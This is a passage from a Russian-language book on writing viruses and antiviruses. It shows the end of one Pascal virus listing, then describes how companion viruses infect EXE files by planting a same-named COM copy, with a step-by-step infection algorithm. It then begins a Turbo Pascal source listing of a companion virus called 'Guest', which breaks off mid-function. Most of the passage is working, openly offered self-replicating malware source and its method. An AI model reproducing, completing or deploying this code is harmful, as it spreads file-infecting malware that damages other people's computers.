Игорь Гульев

Создаем вирус и антивирус


Скачать книгу

тело}

      begin

      {Инициализируемся}

      Init;

      {Ищем жертвы и заражаем их}

      FindTarget;

      {Выдаем на экран сообщение об ошибке}

      WriteLn(’Abnormal program termination.’);

      {Это чтобы компилятор вставил в код константы VirName

      и Author, условие же поставлено таким образом,

      что эти строки никогда не будут выведены на экран}

      If 2=3 Then

      begin

      WriteLn(VirName);

      WriteLn(Author);

      end;

      end.

      Вирусы-спутники (Companion)

      Вирусы-спутники сейчас широко распространены – соотношение companion и parasitic вирусов примерно один к двум.

      Инфицирование методом создания COM-файла спутника

      Смысл этого метода – не трогая «чужого кота» (EXE-программу), создать «своего» – COM-файл с именем EXE-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного EXE-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.

      Заражение производится с помощью командного процессора:

      1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.

      2. Найти EXE-файл-жертву.

      3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом COM-файл с таким же именем, как у файла-жертвы.

      4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6.

      5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением COM.

      6. Процедурой Exec загрузить и выполнить файл с именем стартового, но с расширением EXE – то есть выполнить инфицированную программу.

      7. Вернуть управление в DOS.

      Приведенный ниже листинг показывает заражение файлов этим методом.

      {$M 2048, 0, 0}

      {$A−}

      {$B−}

      {$D−}

      {$E+}

      {$F−}

      {$G−}

      {$I−}

      {$L−}

      {$N−}

      {$S−}

      {$V−}

      {$X+}

      {Используются модули Dos и System (модуль System автоматически

      подключается к каждой программе при компиляции)}

      Uses Dos;

      Const

      {Имя вируса}

      VirName=’Guest’;

      Author=’Dirty Nazi/SGWW. 4 PVT only!’;

      {Количество зараженных за один сеанс работы файлов}

      InfCount=2;

      Var

      {Для имени найденного файла}

      TargetFile : PathStr;

      {Для создания копии}

      TargetCOM : PathStr;

      {Счетчик количества заражений}

      InfFiles : Byte;

      DirInfo : SearchRec;

      {Для сохранения параметров командной строки}

      Parms : String;

      {Для цикла For}

      I: Byte;

      {Поиск жертв}

      procedure FindTarget;

      Var

      Sr : SearchRec;

      {Функция возвращает True, если найденная программа уже заражена,

      и False, если еще нет}

      function VirusPresent: Boolean;

      Var

      Target : File;

      begin

      {Пока будем считать, что вируса здесь нет}

      VirusPresent:=False;

      {Пытаемся открыть файл с именем найденной программы,

      но с расширением COM}

      Assign(Target, TargetCOM);

      Reset(Target, 1);

      {Если не было